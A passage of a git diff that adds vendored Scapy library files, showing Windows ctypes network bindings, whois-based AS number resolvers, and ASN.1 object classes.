ctypes.windll.Advapi32.QueryServiceStatus +QueryServiceStatus.restype = BOOL +QueryServiceStatus.argtypes = [SC_HANDLE, POINTER(SERVICE_STATUS)] + +def get_service_status(service): + """Returns content of QueryServiceStatus for a service""" + SERVICE_QUERY_STATUS = 0x0004 + schSCManager = OpenSCManagerW( + None, # Local machine + None, # SERVICES_ACTIVE_DATABASE + SERVICE_QUERY_STATUS + ) + service = OpenServiceW( + schSCManager, + service, + SERVICE_QUERY_STATUS + ) + status = SERVICE_STATUS() + QueryServiceStatus( + service, + status + ) + result = _struct_to_dict(status) + CloseServiceHandle(service) + CloseServiceHandle(schSCManager) + return result + + +############################## +###### Define IPHLPAPI ###### +############################## + + +iphlpapi = ctypes.windll.iphlpapi + +############################## +########### Common ########### +############################## + + +class in_addr(Structure): + _fields_ = [("byte", UBYTE * 4)] + + +class in6_addr(Structure): + _fields_ = [("byte", UBYTE * 16)] + + +class sockaddr_in(Structure): + _fields_ = [("sin_family", SHORT), + ("sin_port", USHORT), + ("sin_addr", in_addr), + ("sin_zero", 8 * CHAR)] + + +class sockaddr_in6(Structure): + _fields_ = [("sin6_family", SHORT), + ("sin6_port", USHORT), + ("sin6_flowinfo", ULONG), + ("sin6_addr", in6_addr), + ("sin6_scope_id", ULONG)] + + +class SOCKADDR_INET(ctypes.Union): + _fields_ = [("Ipv4", sockaddr_in), + ("Ipv6", sockaddr_in6), + ("si_family", USHORT)] + +############################## +######### ICMP stats ######### +############################## + + +class MIBICMPSTATS(Structure): + _fields_ = [("dwMsgs", DWORD), + ("dwErrors", DWORD), + ("dwDestUnreachs", DWORD), + ("dwTimeExcds", DWORD), + ("dwParmProbs", DWORD), + ("dwSrcQuenchs", DWORD), + ("dwRedirects", DWORD), + ("dwEchos", DWORD), + ("dwEchoReps", DWORD), + ("dwTimestamps", DWORD), + ("dwTimestampReps", DWORD), + ("dwAddrMasks", DWORD), + ("dwAddrMaskReps", DWORD)] + + +class MIBICMPINFO(Structure): + _fields_ = [("icmpInStats", MIBICMPSTATS), + ("icmpOutStats", MIBICMPSTATS)] + + +class MIB_ICMP(Structure): + _fields_ = [("stats", MIBICMPINFO)] + + +PMIB_ICMP = POINTER(MIB_ICMP) + +# Func + +_GetIcmpStatistics = WINFUNCTYPE(ULONG, PMIB_ICMP)( + ('GetIcmpStatistics', iphlpapi)) + + +def GetIcmpStatistics(): + """Return all Windows ICMP stats from iphlpapi""" + statistics = MIB_ICMP() + _GetIcmpStatistics(byref(statistics)) + results = _struct_to_dict(statistics) + del(statistics) + return results + +############################## +##### Adapters Addresses ##### +############################## + + +# Our GetAdaptersAddresses implementation is inspired by +# @sphaero 's gist: https://gist.github.com/sphaero/f9da6ebb9a7a6f679157 +# published under a MPL 2.0 License (GPLv2 compatible) + +# from iptypes.h +MAX_ADAPTER_ADDRESS_LENGTH = 8 +MAX_DHCPV6_DUID_LENGTH = 130 + +GAA_FLAG_INCLUDE_PREFIX = ULONG(0x0010) +# for now, just use void * for pointers to unused structures +PIP_ADAPTER_WINS_SERVER_ADDRESS_LH = VOID +PIP_ADAPTER_GATEWAY_ADDRESS_LH = VOID +PIP_ADAPTER_DNS_SUFFIX = VOID + +IF_OPER_STATUS = UINT +IF_LUID = UINT64 + +NET_IF_COMPARTMENT_ID = UINT32 +GUID = BYTE * 16 +NET_IF_NETWORK_GUID = GUID +NET_IF_CONNECTION_TYPE = UINT # enum +TUNNEL_TYPE = UINT # enum + + +class SOCKET_ADDRESS(ctypes.Structure): + _fields_ = [('address', POINTER(SOCKADDR_INET)), + ('length', INT)] + + +class _IP_ADAPTER_ADDRESSES_METRIC(Structure): + _fields_ = [('length', ULONG), + ('interface_index', DWORD)] + + +class IP_ADAPTER_UNICAST_ADDRESS(Structure): + pass + + +PIP_ADAPTER_UNICAST_ADDRESS = POINTER(IP_ADAPTER_UNICAST_ADDRESS) +if WINDOWS_XP: + IP_ADAPTER_UNICAST_ADDRESS._fields_ = [ + ("length", ULONG), + ("flags", DWORD), + ("next", PIP_ADAPTER_UNICAST_ADDRESS), + ("address", SOCKET_ADDRESS), + ("prefix_origin", INT), + ("suffix_origin", INT), + ("dad_state", INT), + ("valid_lifetime", ULONG), + ("preferred_lifetime", ULONG), + ("lease_lifetime", ULONG), + ] +else: + IP_ADAPTER_UNICAST_ADDRESS._fields_ = [ + ("length", ULONG), + ("flags", DWORD), + ("next", PIP_ADAPTER_UNICAST_ADDRESS), + ("address", SOCKET_ADDRESS), + ("prefix_origin", INT), + ("suffix_origin", INT), + ("dad_state", INT), + ("valid_lifetime", ULONG), + ("preferred_lifetime", ULONG), + ("lease_lifetime", ULONG), + ("on_link_prefix_length", UBYTE) + ] + + +class IP_ADAPTER_ANYCAST_ADDRESS(Structure): + pass + + +PIP_ADAPTER_ANYCAST_ADDRESS = POINTER(IP_ADAPTER_ANYCAST_ADDRESS) +IP_ADAPTER_ANYCAST_ADDRESS._fields_ = [ + ("length", ULONG), + ("flags", DWORD), + ("next", PIP_ADAPTER_ANYCAST_ADDRESS), + ("address", SOCKET_ADDRESS), +] + + +class IP_ADAPTER_MULTICAST_ADDRESS(Structure): + pass + + +PIP_ADAPTER_MULTICAST_ADDRESS = POINTER(IP_ADAPTER_MULTICAST_ADDRESS) +IP_ADAPTER_MULTICAST_ADDRESS._fields_ = [ + ("length", ULONG), + ("flags", DWORD), + ("next", PIP_ADAPTER_MULTICAST_ADDRESS), + ("address", SOCKET_ADDRESS), +] + + +class IP_ADAPTER_DNS_SERVER_ADDRESS(Structure): + pass + + +PIP_ADAPTER_DNS_SERVER_ADDRESS = POINTER(IP_ADAPTER_DNS_SERVER_ADDRESS) +IP_ADAPTER_DNS_SERVER_ADDRESS._fields_ = [ + ("length", ULONG), + ("flags", DWORD), + ("next", PIP_ADAPTER_DNS_SERVER_ADDRESS), + ("address", SOCKET_ADDRESS), +] + + +class IP_ADAPTER_PREFIX(Structure): + pass + + +PIP_ADAPTER_PREFIX = ctypes.POINTER(IP_ADAPTER_PREFIX) +IP_ADAPTER_PREFIX._fields_ = [ + ("alignment", ULONGLONG), + ("next", PIP_ADAPTER_PREFIX), + ("address", SOCKET_ADDRESS), + ("prefix_length", ULONG) +] + + +class IP_ADAPTER_ADDRESSES(Structure): + pass + + +LP_IP_ADAPTER_ADDRESSES = POINTER(IP_ADAPTER_ADDRESSES) + +if WINDOWS_XP: + IP_ADAPTER_ADDRESSES._fields_ = [ + ('length', ULONG), + ('interface_index', DWORD), + ('next', LP_IP_ADAPTER_ADDRESSES), + ('adapter_name', ctypes.c_char_p), + ('first_unicast_address', PIP_ADAPTER_UNICAST_ADDRESS), + ('first_anycast_address', PIP_ADAPTER_ANYCAST_ADDRESS), + ('first_multicast_address', PIP_ADAPTER_MULTICAST_ADDRESS), + ('first_dns_server_address', PIP_ADAPTER_DNS_SERVER_ADDRESS), + ('dns_suffix', ctypes.c_wchar_p), + ('description', ctypes.c_wchar_p), + ('friendly_name', ctypes.c_wchar_p), + ('physical_address', BYTE * MAX_ADAPTER_ADDRESS_LENGTH), + ('physical_address_length', ULONG), + ('flags', ULONG), + ('mtu', ULONG), + ('interface_type', DWORD), + ('oper_status', IF_OPER_STATUS), + ('ipv6_interface_index', DWORD), + ('zone_indices', ULONG * 16), + ('first_prefix', PIP_ADAPTER_PREFIX), + ] +else: + IP_ADAPTER_ADDRESSES._fields_ = [ + ('length', ULONG), + ('interface_index', DWORD), + ('next', LP_IP_ADAPTER_ADDRESSES), + ('adapter_name', ctypes.c_char_p), + ('first_unicast_address', PIP_ADAPTER_UNICAST_ADDRESS), + ('first_anycast_address', PIP_ADAPTER_ANYCAST_ADDRESS), + ('first_multicast_address', PIP_ADAPTER_MULTICAST_ADDRESS), + ('first_dns_server_address', PIP_ADAPTER_DNS_SERVER_ADDRESS), + ('dns_suffix', ctypes.c_wchar_p), + ('description', ctypes.c_wchar_p), + ('friendly_name', ctypes.c_wchar_p), + ('physical_address', BYTE * MAX_ADAPTER_ADDRESS_LENGTH), + ('physical_address_length', ULONG), + ('flags', ULONG), + ('mtu', ULONG), + ('interface_type', DWORD), + ('oper_status', IF_OPER_STATUS), + ('ipv6_interface_index', DWORD), + ('zone_indices', ULONG * 16), + ('first_prefix', PIP_ADAPTER_PREFIX), + ('transmit_link_speed', ULONGLONG), + ('receive_link_speed', ULONGLONG), + ('first_wins_server_address', PIP_ADAPTER_WINS_SERVER_ADDRESS_LH), + ('first_gateway_address', PIP_ADAPTER_GATEWAY_ADDRESS_LH), + ('ipv4_metric', ULONG), + ('ipv6_metric', ULONG), + ('luid', IF_LUID), + ('dhcpv4_server', SOCKET_ADDRESS), + ('compartment_id', NET_IF_COMPARTMENT_ID), + ('network_guid', NET_IF_NETWORK_GUID), + ('connection_type', NET_IF_CONNECTION_TYPE), + ('tunnel_type', TUNNEL_TYPE), + ('dhcpv6_server', SOCKET_ADDRESS), + ('dhcpv6_client_duid', BYTE * MAX_DHCPV6_DUID_LENGTH), + ('dhcpv6_client_duid_length', ULONG), + ('dhcpv6_iaid', ULONG), + ('first_dns_suffix', PIP_ADAPTER_DNS_SUFFIX)] + +# Func + +_GetAdaptersAddresses = WINFUNCTYPE(ULONG, ULONG, ULONG, + POINTER(VOID), + LP_IP_ADAPTER_ADDRESSES, + POINTER(ULONG))( + ('GetAdaptersAddresses', iphlpapi)) + + +def GetAdaptersAddresses(AF=AF_UNSPEC): + """Return all Windows Adapters addresses from iphlpapi""" + # We get the size first + size = ULONG() + flags = GAA_FLAG_INCLUDE_PREFIX + res = _GetAdaptersAddresses(AF, flags, + None, None, + byref(size)) + if res != 0x6f: # BUFFER OVERFLOW -> populate size + raise RuntimeError("Error getting structure length (%d)" % res) + # Now let's build our buffer + pointer_type = POINTER(IP_ADAPTER_ADDRESSES) + buffer = create_string_buffer(size.value) + AdapterAddresses = ctypes.cast(buffer, pointer_type) + # And call GetAdaptersAddresses + res = _GetAdaptersAddresses(AF, flags, + None, AdapterAddresses, + byref(size)) + if res != NO_ERROR: + raise RuntimeError("Error retrieving table (%d)" % res) + results = _resolve_list(AdapterAddresses) + del(AdapterAddresses) + return results + +############################## +####### Routing tables ####### +############################## + +### V1 ### + + +class MIB_IPFORWARDROW(Structure): + _fields_ = [('ForwardDest', DWORD), + ('ForwardMask', DWORD), + ('ForwardPolicy', DWORD), + ('ForwardNextHop', DWORD), + ('ForwardIfIndex', DWORD), + ('ForwardType', DWORD), + ('ForwardProto', DWORD), + ('ForwardAge', DWORD), + ('ForwardNextHopAS', DWORD), + ('ForwardMetric1', DWORD), + ('ForwardMetric2', DWORD), + ('ForwardMetric3', DWORD), + ('ForwardMetric4', DWORD), + ('ForwardMetric5', DWORD)] + + +class MIB_IPFORWARDTABLE(Structure): + _fields_ = [('NumEntries', DWORD), + ('Table', MIB_IPFORWARDROW * ANY_SIZE)] + + +PMIB_IPFORWARDTABLE = POINTER(MIB_IPFORWARDTABLE) + +# Func + +_GetIpForwardTable = WINFUNCTYPE(DWORD, + PMIB_IPFORWARDTABLE, POINTER(ULONG), BOOL)( + ('GetIpForwardTable', iphlpapi)) + + +def GetIpForwardTable(): + """Return all Windows routes (IPv4 only) from iphlpapi""" + # We get the size first + size = ULONG() + res = _GetIpForwardTable(None, byref(size), False) + if res != 0x7a: # ERROR_INSUFFICIENT_BUFFER -> populate size + raise RuntimeError("Error getting structure length (%d)" % res) + # Now let's build our buffer + pointer_type = PMIB_IPFORWARDTABLE + buffer = create_string_buffer(size.value) + pIpForwardTable = ctypes.cast(buffer, pointer_type) + # And call GetAdaptersAddresses + res = _GetIpForwardTable(pIpForwardTable, byref(size), True) + if res != NO_ERROR: + raise RuntimeError("Error retrieving table (%d)" % res) + results = [] + for i in range(pIpForwardTable.contents.NumEntries): + results.append(_struct_to_dict(pIpForwardTable.contents.Table[i])) + del(pIpForwardTable) + return results + +### V2 ### + + +NET_IFINDEX = ULONG +NL_ROUTE_PROTOCOL = INT +NL_ROUTE_ORIGIN = INT + + +class NET_LUID(Structure): + _fields_ = [("Value", ULONGLONG)] + + +class IP_ADDRESS_PREFIX(Structure): + _fields_ = [("Prefix", SOCKADDR_INET), + ("PrefixLength", UINT8)] + + +class MIB_IPFORWARD_ROW2(Structure): + _fields_ = [("InterfaceLuid", NET_LUID), + ("InterfaceIndex", NET_IFINDEX), + ("DestinationPrefix", IP_ADDRESS_PREFIX), + ("NextHop", SOCKADDR_INET), + ("SitePrefixLength", UCHAR), + ("ValidLifetime", ULONG), + ("PreferredLifetime", ULONG), + ("Metric", ULONG), + ("Protocol", NL_ROUTE_PROTOCOL), + ("Loopback", BOOLEAN), + ("AutoconfigureAddress", BOOLEAN), + ("Publish", BOOLEAN), + ("Immortal", BOOLEAN), + ("Age", ULONG), + ("Origin", NL_ROUTE_ORIGIN)] + + +class MIB_IPFORWARD_TABLE2(Structure): + _fields_ = [("NumEntries", ULONG), + ("Table", MIB_IPFORWARD_ROW2 * ANY_SIZE)] + + +PMIB_IPFORWARD_TABLE2 = POINTER(MIB_IPFORWARD_TABLE2) + +# Func + +if not WINDOWS_XP: + # GetIpForwardTable2 does not exist under Windows XP + _GetIpForwardTable2 = WINFUNCTYPE( + ULONG, USHORT, + POINTER(PMIB_IPFORWARD_TABLE2))( + ('GetIpForwardTable2', iphlpapi) + ) + _FreeMibTable = WINFUNCTYPE(None, PMIB_IPFORWARD_TABLE2)( + ('FreeMibTable', iphlpapi) + ) + + +def GetIpForwardTable2(AF=AF_UNSPEC): + """Return all Windows routes (IPv4/IPv6) from iphlpapi""" + if WINDOWS_XP: + raise OSError("Not available on Windows XP !") + table = PMIB_IPFORWARD_TABLE2() + res = _GetIpForwardTable2(AF, byref(table)) + if res != NO_ERROR: + raise RuntimeError("Error retrieving table (%d)" % res) + results = [] + for i in range(table.contents.NumEntries): + results.append(_struct_to_dict(table.contents.Table[i])) + _FreeMibTable(table) + return results diff --git a/libs/scapy/as_resolvers.py b/libs/scapy/as_resolvers.py new file mode 100755 index 0000000..0d800e3 --- /dev/null +++ b/libs/scapy/as_resolvers.py @@ -0,0 +1,143 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Resolve Autonomous Systems (AS). +""" + + +from __future__ import absolute_import +import socket +from scapy.config import conf +from scapy.compat import plain_str + + +class AS_resolver: + server = None + options = "-k" + + def __init__(self, server=None, port=43, options=None): + if server is not None: + self.server = server + self.port = port + if options is not None: + self.options = options + + def _start(self): + self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.s.connect((self.server, self.port)) + if self.options: + self.s.send(self.options.encode("utf8") + b"\n") + self.s.recv(8192) + + def _stop(self): + self.s.close() + + def _parse_whois(self, txt): + asn, desc = None, b"" + for line in txt.splitlines(): + if not asn and line.startswith(b"origin:"): + asn = plain_str(line[7:].strip()) + if line.startswith(b"descr:"): + if desc: + desc += b"\n" + desc += line[6:].strip() + if asn is not None and desc: + break + return asn, plain_str(desc.strip()) + + def _resolve_one(self, ip): + self.s.send(("%s\n" % ip).encode("utf8")) + x = b"" + while not (b"%" in x or b"source" in x): + x += self.s.recv(8192) + asn, desc = self._parse_whois(x) + return ip, asn, desc + + def resolve(self, *ips): + self._start() + ret = [] + for ip in ips: + ip, asn, desc = self._resolve_one(ip) + if asn is not None: + ret.append((ip, asn, desc)) + self._stop() + return ret + + +class AS_resolver_riswhois(AS_resolver): + server = "riswhois.ripe.net" + options = "-k -M -1" + + +class AS_resolver_radb(AS_resolver): + server = "whois.ra.net" + options = "-k -M" + + +class AS_resolver_cymru(AS_resolver): + server = "whois.cymru.com" + options = None + + def resolve(self, *ips): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((self.server, self.port)) + s.send( + b"begin\r\n" + + b"\r\n".join(ip.encode() for ip in ips) + + b"\r\nend\r\n" + ) + r = b"" + while True: + line = s.recv(8192) + if line == b"": + break + r += line + s.close() + + return self.parse(r) + + def parse(self, data): + """Parse bulk cymru data""" + + ASNlist = [] + for line in data.splitlines()[1:]: + line = plain_str(line) + if "|" not in line: + continue + asn, ip, desc = [elt.strip() for elt in line.split('|')] + if asn == "NA": + continue + asn = "AS%s" % asn + ASNlist.append((ip, asn, desc)) + return ASNlist + + +class AS_resolver_multi(AS_resolver): + resolvers_list = (AS_resolver_riswhois(), AS_resolver_radb(), + AS_resolver_cymru()) + resolvers_list = resolvers_list[1:] + + def __init__(self, *reslist): + AS_resolver.__init__(self) + if reslist: + self.resolvers_list = reslist + + def resolve(self, *ips): + todo = ips + ret = [] + for ASres in self.resolvers_list: + try: + res = ASres.resolve(*todo) + except socket.error: + continue + todo = [ip for ip in todo if ip not in [r[0] for r in res]] + ret += res + if not todo: + break + return ret + + +conf.AS_resolver = AS_resolver_multi() diff --git a/libs/scapy/asn1/__init__.py b/libs/scapy/asn1/__init__.py new file mode 100755 index 0000000..e0c6140 --- /dev/null +++ b/libs/scapy/asn1/__init__.py @@ -0,0 +1,8 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Package holding ASN.1 related modules. +""" diff --git a/libs/scapy/asn1/asn1.py b/libs/scapy/asn1/asn1.py new file mode 100755 index 0000000..a13843d --- /dev/null +++ b/libs/scapy/asn1/asn1.py @@ -0,0 +1,517 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# Modified by Maxence Tury +# This program is published under a GPLv2 license + +""" +ASN.1 (Abstract Syntax Notation One) +""" + +from __future__ import absolute_import +from __future__ import print_function +import random + +from datetime import datetime +from scapy.config import conf +from scapy.error import Scapy_Exception, warning +from scapy.volatile import RandField, RandIP, GeneralizedTime +from scapy.utils import Enum_metaclass, EnumElement, binrepr +from scapy.compat import plain_str, chb, orb +import scapy.modules.six as six +from scapy.modules.six.moves import range + + +class RandASN1Object(RandField): + def __init__(self, objlist=None): + self.objlist = [ + x._asn1_obj + for x in six.itervalues(ASN1_Class_UNIVERSAL.__rdict__) + if hasattr(x, "_asn1_obj") + ] if objlist is None else objlist + self.chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" # noqa: E501 + + def _fix(self, n=0): + o = random.choice(self.objlist) + if issubclass(o, ASN1_INTEGER): + return o(int(random.gauss(0, 1000))) + elif issubclass(o, ASN1_IPADDRESS): + z = RandIP()._fix() + return o(z) + elif issubclass(o, ASN1_GENERALIZED_TIME) or issubclass(o, ASN1_UTC_TIME): # noqa: E501 + z = GeneralizedTime()._fix() + return o(z) + elif issubclass(o, ASN1_STRING): + z = int(random.expovariate(0.05) + 1) + return o("".join(random.choice(self.chars) for _ in range(z))) + elif issubclass(o, ASN1_SEQUENCE) and (n < 10): + z = int(random.expovariate(0.08) + 1) + return o([self.__class__(objlist=self.objlist)._fix(n + 1) + for _ in range(z)]) + return ASN1_INTEGER(int(random.gauss(0, 1000))) + + +############## +# ASN1 # +############## + +class ASN1_Error(Scapy_Exception): + pass + + +class ASN1_Encoding_Error(ASN1_Error): + pass + + +class ASN1_Decoding_Error(ASN1_Error): + pass + + +class ASN1_BadTag_Decoding_Error(ASN1_Decoding_Error): + pass + + +class ASN1Codec(EnumElement): + def register_stem(cls, stem): + cls._stem = stem + + def dec(cls, s, context=None): + return cls._stem.dec(s, context=context) + + def safedec(cls, s, context=None): + return cls._stem.safedec(s, context=context) + + def get_stem(cls): + return cls.stem + + +class ASN1_Codecs_metaclass(Enum_metaclass): + element_class = ASN1Codec + + +class ASN1_Codecs(six.with_metaclass(ASN1_Codecs_metaclass)): + BER = 1 + DER = 2 + PER = 3 + CER = 4 + LWER = 5 + BACnet = 6 + OER = 7 + SER = 8 + XER = 9 + + +class ASN1Tag(EnumElement): + def __init__(self, key, value, context=None, codec=None): + EnumElement.__init__(self, key, value) + self._context = context + if codec is None: + codec = {} + self._codec = codec + + def clone(self): # not a real deep copy. self.codec is shared + return self.__class__(self._key, self._value, self._context, self._codec) # noqa: E501 + + def register_asn1_object(self, asn1obj): + self._asn1_obj = asn1obj + + def asn1_object(self, val): + if hasattr(self, "_asn1_obj"): + return self._asn1_obj(val) + raise ASN1_Error("%r does not have any assigned ASN1 object" % self) + + def register(self, codecnum, codec): + self._codec[codecnum] = codec + + def get_codec(self, codec): + try: + c = self._codec[codec] + except KeyError: + raise ASN1_Error("Codec %r not found for tag %r" % (codec, self)) + return c + + +class ASN1_Class_metaclass(Enum_metaclass): + element_class = ASN1Tag + + def __new__(cls, name, bases, dct): # XXX factorise a bit with Enum_metaclass.__new__() # noqa: E501 + for b in bases: + for k, v in six.iteritems(b.__dict__): + if k not in dct and isinstance(v, ASN1Tag): + dct[k] = v.clone() + + rdict = {} + for k, v in six.iteritems(dct): + if isinstance(v, int): + v = ASN1Tag(k, v) + dct[k] = v + rdict[v] = v + elif isinstance(v, ASN1Tag): + rdict[v] = v + dct["__rdict__"] = rdict + + cls = type.__new__(cls, name, bases, dct) + for v in six.itervalues(cls.__dict__): + if isinstance(v, ASN1Tag): + v.context = cls # overwrite ASN1Tag contexts, even cloned ones + return cls + + +class ASN1_Class(six.with_metaclass(ASN1_Class_metaclass)): + pass + + +class ASN1_Class_UNIVERSAL(ASN1_Class): + name = "UNIVERSAL" + ERROR = -3 + RAW = -2 + NONE = -1 + ANY = 0 + BOOLEAN = 1 + INTEGER = 2 + BIT_STRING = 3 + STRING = 4 + NULL = 5 + OID = 6 + OBJECT_DESCRIPTOR = 7 + EXTERNAL = 8 + REAL = 9 + ENUMERATED = 10 + EMBEDDED_PDF = 11 + UTF8_STRING = 12 + RELATIVE_OID = 13 + SEQUENCE = 16 | 0x20 # constructed encoding + SET = 17 | 0x20 # constructed encoding + NUMERIC_STRING = 18 + PRINTABLE_STRING = 19 + T61_STRING = 20 # aka TELETEX_STRING + VIDEOTEX_STRING = 21 + IA5_STRING = 22 + UTC_TIME = 23 + GENERALIZED_TIME = 24 + GRAPHIC_STRING = 25 + ISO646_STRING = 26 # aka VISIBLE_STRING + GENERAL_STRING = 27 + UNIVERSAL_STRING = 28 + CHAR_STRING = 29 + BMP_STRING = 30 + IPADDRESS = 0 | 0x40 # application-specific encoding + COUNTER32 = 1 | 0x40 # application-specific encoding + GAUGE32 = 2 | 0x40 # application-specific encoding + TIME_TICKS = 3 | 0x40 # application-specific encoding + + +class ASN1_Object_metaclass(type): + def __new__(cls, name, bases, dct): + c = super(ASN1_Object_metaclass, cls).__new__(cls, name, bases, dct) + try: + c.tag.register_asn1_object(c) + except Exception: + warning("Error registering %r for %r" % (c.tag, c.codec)) + return c + + +class ASN1_Object(six.with_metaclass(ASN1_Object_metaclass)): + tag = ASN1_Class_UNIVERSAL.ANY + + def __init__(self, val): + self.val = val + + def enc(self, codec): + return self.tag.get_codec(codec).enc(self.val) + + def __repr__(self): + return "<%s[%r]>" % (self.__dict__.get("name", self.__class__.__name__), self.val) # noqa: E501 + + def __str__(self): + return self.enc(conf.ASN1_default_codec) + + def __bytes__(self): + return self.enc(conf.ASN1_default_codec) + + def strshow(self, lvl=0): + return (" " * lvl) + repr(self) + "\n" + + def show(self, lvl=0): + print(self.strshow(lvl)) + + def __eq__(self, other): + return self.val == other + + def __lt__(self, other): + return self.val < other + + def __le__(self, other): + return self.val <= other + + def __gt__(self, other): + return self.val > other + + def __ge__(self, other): + return self.val >= other + + def __ne__(self, other): + return self.val != other + + +####################### +# ASN1 objects # +####################### + +# on the whole, we order the classes by ASN1_Class_UNIVERSAL tag value + +class ASN1_DECODING_ERROR(ASN1_Object): + tag = ASN1_Class_UNIVERSAL.ERROR + + def __init__(self, val, exc=None): + ASN1_Object.__init__(self, val) + self.exc = exc + + def __repr__(self): + return "<%s[%r]{{%r}}>" % (self.__dict__.get("name", self.__class__.__name__), # noqa: E501 + self.val, self.exc.args[0]) + + def enc(self, codec): + if isinstance(self.val, ASN1_Object): + return self.val.enc(codec) + return self.val + + +class ASN1_force(ASN1_Object): + tag = ASN1_Class_UNIVERSAL.RAW + + def enc(self, codec): + if isinstance(self.val, ASN1_Object): + return self.val.enc(codec) + return self.val + + +class ASN1_BADTAG(ASN1_force): + pass + + +class ASN1_INTEGER(ASN1_Object): + tag = ASN1_Class_UNIVERSAL.INTEGER + + def __repr__(self): + h = hex(self.val) + if h[-1] == "L": + h = h[:-1] + # cut at 22 because with leading '0x', x509 serials should be < 23 + if len(h) > 22: + h = h[:12] + "..." + h[-10:] + r = repr(self.val) + if len(r) > 20: + r = r[:10] + "..." + r[-10:] + return h + " <%s[%s]>" % (self.__dict__.get("name", self.__class__.__name__), r) # noqa: E501 + + +class ASN1_BOOLEAN(ASN1_INTEGER): + tag = ASN1_Class_UNIVERSAL.BOOLEAN + # BER: 0 means False, anything else means True + + def __repr__(self): + return '%s %s' % (not (self.val == 0), ASN1_Object.__repr__(self)) + + +class ASN1_BIT_STRING(ASN1_Object): + """ + ASN1_BIT_STRING values are bit strings like "011101". + A zero-bit padded readable string is provided nonetheless, + which is stored in val_readable + """ + tag = ASN1_Class_UNIVERSAL.BIT_STRING + + def __init__(self, val, readable=False): + if not readable: + self.val = val + else: + self.val_readable = val + + def __setattr__(self, name, value): + if name == "val_readable": + if isinstance(value, (str, bytes)): + val = "".join(binrepr(orb(x)).zfill(8) for x in value) + else: + warning("Invalid val: should be bytes") + val = "" + object.__setattr__(self, "val", val) + object.__setattr__(self, name, value) + object.__setattr__(self, "unused_bits", 0) + elif name == "val": + value = plain_str(value) + if isinstance(value, str): + if any(c for c in value if c not in ["0", "1"]): + warning("Invalid operation: 'val' is not a valid bit string.") # noqa: E501 + return + else: + if len(value) % 8 == 0: + unused_bits = 0 + else: + unused_bits = 8 - (len(value) % 8) + padded_value = value + ("0" * unused_bits) + bytes_arr = zip(*[iter(padded_value)] * 8) + val_readable = b"".join(chb(int("".join(x), 2)) for x in bytes_arr) # noqa: E501 + else: + warning("Invalid val: should be str") + val_readable = b"" + unused_bits = 0 + object.__setattr__(self, "val_readable", val_readable) + object.__setattr__(self, name, value) + object.__setattr__(self, "unused_bits", unused_bits) + elif name == "unused_bits": + warning("Invalid operation: unused_bits rewriting " + "is not supported.") + else: + object.__setattr__(self, name, value) + + def __repr__(self): + s = self.val_readable + if len(s) > 16: + s = s[:10] + b"..." + s[-10:] + v = self.val + if len(v) > 20: + v = v[:10] + "..." + v[-10:] + return "<%s[%s]=%s (%d unused bit%s)>" % ( + self.__dict__.get("name", self.__class__.__name__), + v, + s, + self.unused_bits, + "s" if self.unused_bits > 1 else "" + ) + + +class ASN1_STRING(ASN1_Object): + tag = ASN1_Class_UNIVERSAL.STRING + + +class ASN1_NULL(ASN1_Object): + tag = ASN1_Class_UNIVERSAL.NULL + + def __repr__(self): + return ASN1_Object.__repr__(self) + + +class ASN1_OID(ASN1_Object): + tag = ASN1_Class_UNIVERSAL.OID + + def __init__(self, val): + val = plain_str(val) + val = conf.mib._oid(val) + ASN1_Object.__init__(self, val) + self.oidname = conf.mib._oidname(val) + + def __repr__(self): + return "<%s[%r]>" % (self.__dict__.get("name", self.__class__.__name__), self.oidname) # noqa: E501 + + +class ASN1_ENUMERATED(ASN1_INTEGER): + tag = ASN1_Class_UNIVERSAL.ENUMERATED + + +class ASN1_UTF8_STRING(ASN1_STRING): + tag = ASN1_Class_UNIVERSAL.UTF8_STRING + + +class ASN1_NUMERIC_STRING(ASN1_STRING): + tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING + + +class ASN1_PRINTABLE_STRING(ASN1_STRING): + tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING + + +class ASN1_T61_STRING(ASN1_STRING): + tag = ASN1_Class_UNIVERSAL.T61_STRING + + +class ASN1_VIDEOTEX_STRING(ASN1_STRING): + tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING + + +class ASN1_IA5_STRING(ASN1_STRING): + tag = ASN1_Class_UNIVERSAL.IA5_STRING + + +class ASN1_UTC_TIME(ASN1_STRING): + tag = ASN1_Class_UNIVERSAL.UTC_TIME + + def __init__(self, val): + ASN1_STRING.__init__(self, val) + + def __setattr__(self, name, value): + if isinstance(value, bytes): + value = plain_str(value) + if name == "val": + pretty_time = None + if isinstance(self, ASN1_GENERALIZED_TIME): + _len = 15 + self._format = "%Y%m%d%H%M%S" + else: + _len = 13 + self._format = "%y%m%d%H%M%S" + _nam = self.tag._asn1_obj.__name__[4:].lower() + if (isinstance(value, str) and + len(value) == _len and value[-1] == "Z"): + dt = datetime.strptime(value[:-1], self._format) + pretty_time = dt.strftime("%b %d %H:%M:%S %Y GMT") + else: + pretty_time = "%s [invalid %s]" % (value, _nam) + ASN1_STRING.__setattr__(self, "pretty_time", pretty_time) + ASN1_STRING.__setattr__(self, name, value) + elif name == "pretty_time": + print("Invalid operation: pretty_time rewriting is not supported.") + else: + ASN1_STRING.__setattr__(self, name, value) + + def __repr__(self): + return "%s %s" % (self.pretty_time, ASN1_STRING.__repr__(self)) + + +class ASN1_GENERALIZED_TIME(ASN1_UTC_TIME): + tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME + + +class ASN1_ISO646_STRING(ASN1_STRING): + tag = ASN1_Class_UNIVERSAL.ISO646_STRING + + +class ASN1_UNIVERSAL_STRING(ASN1_STRING): + tag = ASN1_Class_UNIVERSAL.UNIVERSAL_STRING + + +class ASN1_BMP_STRING(ASN1_STRING): + tag = ASN1_Class_UNIVERSAL.BMP_STRING + + +class ASN1_SEQUENCE(ASN1_Object): + tag = ASN1_Class_UNIVERSAL.SEQUENCE + + def strshow(self, lvl=0): + s = (" " * lvl) + ("# %s:" % self.__class__.__name__) + "\n" + for o in self.val: + s += 